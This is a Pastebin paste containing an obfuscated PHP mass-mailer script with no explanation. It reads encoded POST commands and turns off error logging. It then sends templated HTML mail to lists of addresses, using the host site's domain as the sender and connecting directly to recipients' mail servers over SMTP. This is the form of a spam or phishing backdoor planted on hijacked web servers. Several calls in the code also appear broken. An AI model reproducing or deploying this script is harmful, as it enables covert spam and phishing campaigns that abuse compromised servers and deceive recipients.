Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $i59 = "Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW";
- @error_reporting(NULL);
- @ini_set(error_log, NULL);
- @ini_set(log_errors, 0);
- $vxlcl82 = array(
- "dataTo" => "",
- "fromLogin" => "",
- "fromName" => "",
- "subjTempl" => "",
- "bodyTempl" => "",
- "hostFrom" => "",
- "initnbsock" => FALSE,
- "initsock" => FALSE,
- "initmail" => FALSE
- );
- if (FALSE == bctio27($i59, $vxlcl82))
- {
- echo PHP_OS."+".md5(0987654321)."+01+[[]]";
- exit;
- }
- $unahu45 = array();
- foreach($vxlcl82["dataTo"] as $xenfh75)
- {
- $iztbg25 = array(
- "nameFirst" => "",
- "nameLast" => "",
- "emailTo" => "",
- "domainTo" => "",
- "emailToLong" => "",
- "forceFromFlag" => FALSE,
- "emailFrom" => "",
- "emailFromLong" => "",
- "subj" => "",
- "body" => "",
- "headersMain" => "",
- "headersFrom" => "",
- "headersSock" => "",
- "mxHost" => "",
- "mxAddr" => null,
- "sock" => null,
- "stime" => null,
- "nbstep" => 0,
- "errline" => "",
- "done" => FALSE,
- "doneWay" => 0,
- "failSmtp" => FALSE
- );
- if (FALSE == xagwq19($i59, $xenfh75, $vxlcl82, $iztbg25))
- {
- echo PHP_OS."+".md5(1111111111)."+02+[[".fsuxu12($i59, $xenfh75)."]]\n";
- continue;
- }
- slltw17($i59, $vxlcl82, $iztbg25);
- hkblq88($i59, $vxlcl82, $iztbg25);
- $unahu45[] = $iztbg25;
- }
- crnms40($i59, $vxlcl82, $unahu45);
- pkwxg22($i59, $vxlcl82, $unahu45);
- glxex92($i59, $vxlcl82, $unahu45);
- ygxtf52($i59, $vxlcl82, $unahu45);
- function fsuxu12($i59, $nihvk86)
- {
- $esjbi0 = "";
- for ($haxae63 = 0; $haxae63 < strlen($nihvk86); $haxae63++) $esjbi0.= chr(ord($nihvk86[$haxae63]) ^ 2);
- return base64_encode($esjbi0);
- }
- function ygxtf52($i59, $vxlcl82, $unahu45)
- {
- if ($vxlcl82["initnbsock"] == FALSE && $vxlcl82["initsock"] == FALSE && $vxlcl82["initmail"] == FALSE)
- {
- echo PHP_OS."+".md5(1111111111)."+03+[[".fsuxu12($i59, "no func exists")."]]\n";
- return;
- }
- $hmcex42 = 0;
- for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++)
- {
- if ($unahu45[$jkbvz84]["failSmtp"] == TRUE)
- {
- echo PHP_OS."+".md5(2222222222)."+04+[[".fsuxu12($i59, $unahu45[$jkbvz84]["emailTo"]." :: ".$unahu45[$jkbvz84]["errline"])."]]\n";
- }
- if ($unahu45[$jkbvz84]["done"] == TRUE)
- {
- $hmcex42++;
- }
- }
- if ($hmcex42 == 0)
- {
- echo PHP_OS."+".md5(0987654321)."+04+[[]]";
- }
- else
- {
- echo "OK+".md5(1234567890)."+".$hmcex42."+".count($unahu45)."\n";
- }
- }
- function pkwxg22($i59, &$vxlcl82, &$unahu45)
- {
- if (!function_exists("mail"))
- {
- $vxlcl82["initmail"] = FALSE;
- return;
- }
- $vxlcl82["initmail"] = TRUE;
- for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++)
- {
- if ($unahu45[$jkbvz84]["done"] == TRUE) continue;
- if ($unahu45[$jkbvz84]["forceFromFlag"])
- {
- if (@mail($unahu45[$jkbvz84]["emailToLong"], $unahu45[$jkbvz84]["subj"], $unahu45[$jkbvz84]["body"], $unahu45[$jkbvz84]["headersFrom"].$unahu45[$jkbvz84]["headersMain"], "-f".$unahu45[$jkbvz84]["emailFrom"]))
- {
- $unahu45[$jkbvz84]["done"] = TRUE;
- $unahu45[$jkbvz84]["doneWay"] = 2;
- }
- else
- {
- $unahu45[$jkbvz84]["done"] = FALSE;
- }
- }
- else
- {
- if (@mail($unahu45[$jkbvz84]["emailToLong"], $unahu45[$jkbvz84]["subj"], $unahu45[$jkbvz84]["body"], $unahu45[$jkbvz84]["headersMain"]))
- {
- $unahu45[$jkbvz84]["done"] = TRUE;
- $unahu45[$jkbvz84]["doneWay"] = 2;
- }
- else
- {
- $unahu45[$jkbvz84]["done"] = FALSE;
- }
- }
- }
- }
- function fjcwd9($i59, $kcpbr76)
- {
- $esjbi0 = '';
- while ($itygz27 = @fgets($kcpbr76, 4096))
- {
- $esjbi0.= $itygz27;
- if (substr($itygz27, 3, 1) == $i59[95]) break;
- }
- return $esjbi0;
- }
- function glxex92($i59, &$vxlcl82, &$unahu45)
- {
- if (!function_exists("fsockopen") && !function_exists("pfsockopen") && !function_exists("stream_socket_client"))
- {
- $vxlcl82["initsock"] = FALSE;
- return;
- }
- $vxlcl82["initsock"] = TRUE;
- for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++)
- {
- if ($unahu45[$jkbvz84]["done"] == TRUE)
- {
- continue;
- }
- if ($unahu45[$jkbvz84]["failSmtp"] == TRUE)
- {
- continue;
- }
- if ($unahu45[$jkbvz84]["mxAddr"] == null)
- {
- $unahu45[$jkbvz84]["mxAddr"] = gethostbyname($unahu45[$jkbvz84]["mxHost"]);
- }
- $unahu45[$jkbvz84]["nbstep"] = 0;
- $lllaf63 = 0;
- $rbjyp61 = "";
- if (function_exists("fsockopen"))
- {
- $unahu45[$jkbvz84]["sock"] = @fsockopen($unahu45[$jkbvz84]["mxAddr"], 25, $lllaf63, $rbjyp61, 15);
- }
- elseif (function_exists("pfsockopen"))
- {
- $unahu45[$jkbvz84]["sock"] = @pfsockopen($unahu45[$jkbvz84]["mxAddr"], 25, $lllaf63, $rbjyp61, 15);
- }
- elseif (function_exists("stream_socket_client"))
- {
- $unahu45[$jkbvz84]["sock"] = @stream_socket_client("tcp://".$unahu45[$jkbvz84]["mxAddr"].":25", $lllaf63, $rbjyp61, 15);
- }
- else
- {
- $unahu45[$jkbvz84]["errline"] = "sock connect function";
- continue;
- }
- if (!$unahu45[$jkbvz84]["sock"])
- {
- $unahu45[$jkbvz84]["errline"] = "sock connect";
- continue;
- }
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- @fputs($unahu45[$jkbvz84]["sock"], "EHLO ".$vxlcl82["hostFrom"]."\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 250)
- {
- $unahu45[$jkbvz84]["nbstep"] = 2;
- $unahu45[$jkbvz84]["errline"] = "<< ehlo ".trim(preg_replace("/\r\n/ ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- @fputs($unahu45[$jkbvz84]["sock"], "MAIL FROM:<".$unahu45[$jkbvz84]["emailFrom"].">\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 250)
- {
- $unahu45[$jkbvz84]["nbstep"] = 3;
- $unahu45[$jkbvz84]["failSmtp"] = TRUE;
- $unahu45[$jkbvz84]["errline"] = "<< mail from ".trim(preg_replace("/\r\n/ ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- @fputs($unahu45[$jkbvz84]["sock"], "RCPT TO:<".$unahu45[$jkbvz84]["emailTo"].">\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 250 && substr($yzqyk58, 0, 3) != 251)
- {
- $unahu45[$jkbvz84]["nbstep"] = 4;
- $unahu45[$jkbvz84]["failSmtp"] = TRUE;
- $unahu45[$jkbvz84]["errline"] = "<< data ".trim(preg_replace("/\r\n/ ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- @fputs($unahu45[$jkbvz84]["sock"], "DATA\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 354)
- {
- $unahu45[$jkbvz84]["nbstep"] = 5;
- $unahu45[$jkbvz84]["failSmtp"] = TRUE;
- $unahu45[$jkbvz84]["errline"] = "<< data ".trim(preg_replace("/\r\n/ ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- @fputs($unahu45[$jkbvz84]["sock"], $unahu45[$jkbvz84]["headersSock"]."\r\n".$unahu45[$jkbvz84]["body"]."\r\n.\r\n");
- $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
- if (substr($yzqyk58, 0, 3) != 250)
- {
- $unahu45[$jkbvz84]["nbstep"] = 6;
- $unahu45[$jkbvz84]["failSmtp"] = TRUE;
- $unahu45[$jkbvz84]["errline"] = "<< body ".trim(preg_replace("/\r\n/ ", $yzqyk58));
- fclose($unahu45[$jkbvz84]["sock"]);
- continue;
- }
- $unahu45[$jkbvz84]["nbstep"] = 6;
- $unahu45[$jkbvz84]["errline"] = "sock done";
- $unahu45[$jkbvz84]["done"] = TRUE;
- $unahu45[$jkbvz84]["doneWay"] = 3;
- @fputs($unahu45[$jkbvz84]["sock"], "QUIT\r\n");
- @fclose($unahu45[$jkbvz84]["sock"]);
- }
- return;
- }
- function wfyfz82($i59, $kcpbr76, &$ccdut93, &$wdnqf10, $ghjnv17)
- {
- $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["nbstep"] = $ghjnv17;
- $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["stime"] = time(NULL);
- $wdnqf10[$kcpbr76]["nbstep"] = $ghjnv17;
- $wdnqf10[$kcpbr76]["stime"] = time(NULL);
- }
- function wdkay7($i59, $kcpbr76, &$ccdut93, &$wdnqf10, &$nxvux4, $tlqgr67)
- {
- $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["errline"] = trim(preg_replace("/\r\n/ ", $tlqgr67));
- $wwnfn92 = array_search($kcpbr76, $nxvux4);
- unset($nxvux4[$wwnfn92]);
- unset($wdnqf10[$kcpbr76]);
- socket_close($kcpbr76);
- }
- function crnms40($i59, &$vxlcl82, &$unahu45)
- {
- if (!function_exists("socket_create") || !function_exists("socket_connect") || !function_exists("socket_select") || !function_exists("socket_read") || !function_exists("socket_write"))
- {
- $vxlcl82["initnbsock"] = FALSE;
- return;
- }
- $vxlcl82["initnbsock"] = TRUE;
- $xglki37 = array();
- $vfyxw97 = 35;
- $pvbdh92 = 25;
- $aaaqk92 = array();
- $wbwts68 = array();
- for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++)
- {
- if ($unahu45["done"] == TRUE)
- {
- continue;
- }
- if ($unahu45[$jkbvz84]["failSmtp"] == TRUE)
- {
- continue;
- }
- $unahu45[$jkbvz84]["sock"] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- if ($unahu45[$jkbvz84]["sock"] == FALSE)
- {
- $unahu45[$jkbvz84]["errline"] = "nb create socket";
- continue;
- }
- @socket_set_nonblock($unahu45[$jkbvz84]["sock"]);
- $unahu45[$jkbvz84]["mxAddr"] = gethostbyname($unahu45[$jkbvz84]["mxHost"]);
- $ncsee45 = @socket_connect($unahu45[$jkbvz84]["sock"], $unahu45[$jkbvz84]["mxHost"], 25);
- if ($ncsee45 == FALSE)
- {
- $jnxjb61 = socket_last_error();
- if ($jnxjb61 != 10035 && $jnxjb61 != SOCKET_EINPROGRESS && $jnxjb61 != SOCKET_EALREADY)
- {
- $unahu45[$jkbvz84]["errline"] = "nb connect socket";
- continue;
- }
- }
- $unahu45[$jkbvz84]["stime"] = time(NULL);
- $aaaqk92[] = $unahu45[$jkbvz84]["sock"];
- $xglki37[$unahu45[$jkbvz84]["sock"]] = $unahu45[$jkbvz84];
- $xglki37[$unahu45[$jkbvz84]["sock"]]["orig"] = $jkbvz84;
- }
- while (count($aaaqk92) + count($wbwts68) > 0)
- {
- $ewqxb0 = $aaaqk92;
- $olbdv78 = $wbwts68;
- if (FALSE !== ($baluw62 = socket_select($olbdv78, $ewqxb0, $yyjgh73 = null, 0)))
- {
- if ($baluw62 > 0)
- {
- if (count($olbdv78) > 0)
- {
- foreach($olbdv78 as $ipocr99)
- {
- $yzqyk58 = @socket_read($ipocr99, 1024);
- if ($yzqyk58 == FALSE)
- {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb sock read");
- continue;
- }
- if ($xglki37[$ipocr99]["nbstep"] == 1)
- {
- $ncsee45 = @socket_write($ipocr99, "EHLO ".$vxlcl82["hostFrom"]."\r\n");
- if ($ncsee45 == FALSE)
- {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb ehlo");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 2);
- }
- elseif ($xglki37[$ipocr99]["nbstep"] == 2)
- {
- if (substr($yzqyk58, 0, 3) != 250)
- {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb ehlo".$yzqyk58);
- continue;
- }
- $ncsee45 = @socket_write($ipocr99, "MAIL FROM:<".$xglki37[$ipocr99]["emailFrom"].">\r\n");
- if ($ncsee45 == FALSE)
- {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb mail from");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 3);
- }
- elseif ($xglki37[$ipocr99]["nbstep"] == 3)
- {
- if (substr($yzqyk58, 0, 3) != 250)
- {
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb mail from".$yzqyk58);
- continue;
- }
- $ncsee45 = @socket_write($ipocr99, "RCPT TO:<".$xglki37[$ipocr99]["emailTo"].">\r\n");
- if ($ncsee45 == FALSE)
- {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb rcpt to");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 4);
- }
- elseif ($xglki37[$ipocr99]["nbstep"] == 4)
- {
- if (substr($yzqyk58, 0, 3) != 250 && substr($yzqyk58, 0, 3) != 251)
- {
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb rcpt to".$yzqyk58);
- continue;
- }
- $ncsee45 = @socket_write($ipocr99, "DATA\r\n");
- if ($ncsee45 == FALSE)
- {
- print $yzqyk58;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb data");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 5);
- }
- elseif ($xglki37[$ipocr99]["nbstep"] == 5)
- {
- if (substr($yzqyk58, 0, 3) != 354)
- {
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb data".$yzqyk58);
- continue;
- }
- $ncsee45 = @socket_write($ipocr99, $xglki37[$ipocr99]["headersSock"]."\r\n".$xglki37[$ipocr99]["body"]."\r\n.\r\n");
- if ($ncsee45 == FALSE)
- {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb body");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 6);
- }
- elseif ($xglki37[$ipocr99]["nbstep"] == 6)
- {
- if (substr($yzqyk58, 0, 3) != 250)
- {
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb body".$yzqyk58);
- continue;
- }
- $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = FALSE;
- $unahu45[$xglki37[$ipocr99]["orig"]]["done"] = TRUE;
- $unahu45[$xglki37[$ipocr99]["orig"]]["doneWay"] = 1;
- $ncsee45 = @socket_write($ipocr99, "QUIT\r\n");
- if ($ncsee45 == FALSE)
- {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb quit");
- continue;
- }
- wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 6);
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb done");
- }
- else
- {
- wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb unknown step");
- }
- }
- }
- if (count($ewqxb0) > 0)
- {
- foreach($ewqxb0 as $eztco67)
- {
- wfyfz82($i59, $eztco67, $unahu45, $xglki37, 1);
- $wbwts68[] = $eztco67;
- $uzrsu74 = array_search($eztco67, $aaaqk92);
- unset($aaaqk92[$uzrsu74]);
- }
- }
- }
- }
- else
- {
- break;
- }
- foreach($xglki37 as $nqhsc23)
- {
- $hklao9 = time(NULL);
- if ($nqhsc23["nbstep"] == 0)
- {
- if ($nqhsc23["stime"] + $vfyxw97 < $hklao9)
- {
- wdkay7($i59, $nqhsc23["sock"], $unahu45, $xglki37, $aaaqk92, "nb sock conn timeout ".$nqhsc23["nbstep"]);
- }
- }
- else
- {
- if ($nqhsc23["stime"] + $pvbdh92 < $hklao9)
- {
- closeSock($nqhsc23["sock"], $unahu45, $xglki37, $wbwts68, "nb sock r/w timeout".$nqhsc23["nbstep"]);
- }
- }
- }
- }
- }
- function hkblq88($i59, $vxlcl82, &$esjbi0)
- {
- $esjbi0["headersMain"] = "X-Priority: 3 (Normal)\r\n";
- $esjbi0["headersMain"].= "MIME-Version: 1.0\r\n";
- $esjbi0["headersMain"].= 'Content-Type: text/html; charset="iso-8859-1"\r\n';
- $esjbi0["headersMain"].= "Content-Transfer-Encoding: 8bit\r\n";
- $esjbi0["headersFrom"] = "From: ".$esjbi0["emailFromLong"]."\r\n";
- $esjbi0["headersFrom"].= "Reply-To: ".$esjbi0["emailFromLong"]."\r\n";
- $esjbi0["headersSock"] = "Date: ".@date("D, j M Y G:i:s O")."\r\n";
- $esjbi0["headersSock"].= $esjbi0["headersFrom"];
- $esjbi0["headersSock"].= "Message-ID: <".preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time()))."@".$vxlcl82["hostFrom"].">.\r\n";
- $esjbi0["headersSock"].= "To: ".$esjbi0["emailToLong"]."\r\n";
- $esjbi0["headersSock"].= "Subject: ".$esjbi0["subj"]."\r\n";
- $esjbi0["headersSock"].= $esjbi0["headersMain"];
- }
- function slltw17($i59, $vxlcl82, &$esjbi0)
- {
- $esjbi0["subj"] = @str_replace("%R_NAME%", $esjbi0["nameFirst"], $vxlcl82["subjTempl"]);
- $esjbi0["subj"] = @str_replace("%R_LNAME%", $esjbi0["nameLast"], $esjbi0["subj"]);
- $esjbi0["body"] = @str_replace("%R_NAME%", $esjbi0["nameFirst"], $vxlcl82["bodyTempl"]);
- $esjbi0["body"] = @str_replace("%R_LNAME%", $esjbi0["nameLast"], $esjbi0["body"]);
- }
- function xagwq19($i59, $mfvuq23, $vxlcl82, &$esjbi0)
- {
- if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $mfvuq23, $zroqx74))
- {
- return FALSE;
- }
- if (!isset($zroqx74) || count($zroqx74) != 5)
- {
- return FALSE;
- }
- $esjbi0["nameFirst"] = @ucfirst(str_replace(";", "", $zroqx74[1]));
- $esjbi0["nameLast"] = @ucfirst(str_replace(";", "", $zroqx74[2]));
- $esjbi0["emailTo"] = str_replace(";", "", $zroqx74[3]);
- $esjbi0["domainTo"] = str_replace(";", "", $zroqx74[4]);
- if (!isset($esjbi0["domainTo"]) || $esjbi0["domainTo"] == "")
- {
- return FALSE;
- }
- if (!isset($esjbi0["emailTo"]) || $esjbi0["emailTo"] == "")
- {
- return FALSE;
- }
- if (isset($esjbi0["nameFirst"]) && $esjbi0["nameFirst"] != "")
- {
- $esjbi0["emailToLong"] = '"'.$esjbi0["nameFirst"]." ".$esjbi0["nameLast"].'" <'.$esjbi0["emailTo"].">";
- }
- else
- {
- $esjbi0["emailToLong"] = $esjbi0["emailTo"];
- }
- if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $vxlcl82["hostFrom"]) || @ini_get("safe_mode"))
- {
- $esjbi0["forceFromFlag"] = FALSE;
- }
- else
- {
- $esjbi0["forceFromFlag"] = TRUE;
- }
- $esjbi0["emailFrom"] = $vxlcl82["fromLogin"]."@".$vxlcl82["hostFrom"];
- if (isset($vxlcl82["fromName"]) && $vxlcl82["fromName"] != "")
- {
- $esjbi0["emailFromLong"] = $vxlcl82["fromName"]." <".$esjbi0["emailFrom"].">";
- }
- else
- {
- $esjbi0["emailFrom"] = $esjbi0["LongemailFrom"];
- }
- $esjbi0["mxHost"] = "127.0.0.1";
- if (function_exists("getmxrr"))
- {
- @getmxrr($esjbi0["domainTo"], $nhysx96, $ntryu13);
- if (count($nhysx96) !== 0)
- {
- $haxae63 = array_keys($ntryu13, min($ntryu13));
- $esjbi0["mxHost"] = $nhysx96[$haxae63[0]];
- }
- }
- return TRUE;
- }
- function bctio27($i59, &$esjbi0)
- {
- if (count($_POST) < 2)
- {
- return FALSE;
- }
- $fnxyh15 = false;
- $ybhhi32 = $wghts9 = "";
- foreach(array_keys($_POST) as $zcxpv1)
- {
- if ($zcxpv1[0] == 'l') $ybhhi32 = $zcxpv1;
- if ($zcxpv1[0] == 'd') $wghts9 = $zcxpv1;
- if ($zcxpv1[0] == 'e') $xuzda17 = true;
- }
- if ($ybhhi32 == "" || $wghts9 == "")
- {
- return FALSE;
- }
- $owxdm76 = ppuqd76($i59, $ybhhi32, $xuzda17);
- $ufusu43 = ppuqd76($i59, $wghts9, $xuzda17);
- if ($owxdm76 == FALSE || $ufusu43 == FALSE)
- {
- return FALSE;
- }
- $esjbi0["dataTo"] = @preg_split("/#/", $owxdm76);
- $esjbi0["fromLogin"] = $esjbi0["fromName"] = $esjbi0["subjTempl"] = $esjbi0["bodyTempl"] = "";
- if (FALSE !== @preg_match("/<USER>(.*?)<\/USER>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1)
- {
- $esjbi0["fromLogin"] = $zroqx74[1];
- }
- if (FALSE !== @preg_match("/<NAME>(.*?)<\/NAME>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1)
- {
- $esjbi0["fromName"] = $zroqx74[1];
- }
- if (FALSE !== @preg_match("/<SUBJ>(.*?)<\/SUBJ>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1)
- {
- $esjbi0["subjTempl"] = $zroqx74[1];
- }
- if (FALSE !== @preg_match("/<SBODY>(.*?)<\/SBODY>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1)
- {
- $esjbi0["bodyTempl"] = $zroqx74[1];
- }
- $esjbi0["hostFrom"] = @preg_replace( "/^(www|ftp)\./i", '', @$_SERVER["HTTP_HOST"]);
- return TRUE;
- }
- function ppuqd76($i59, $zcxpv1, $fnxyh15)
- {
- if (!isset($zcxpv1) || $zcxpv1 == "") return FALSE;
- $couuh34 = @$_POST[$zcxpv1];
- if ($fnxyh15)
- {
- $lyvyv48 = base64_decode($couuh34);
- $couuh34 = '';
- for ($haxae63 = 0; $haxae63 < strlen($lyvyv48); $haxae63++) $couuh34.= chr(ord($lyvyv48[$haxae63]) ^ 2);
- }
- return urldecode(stripslashes($couuh34));
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement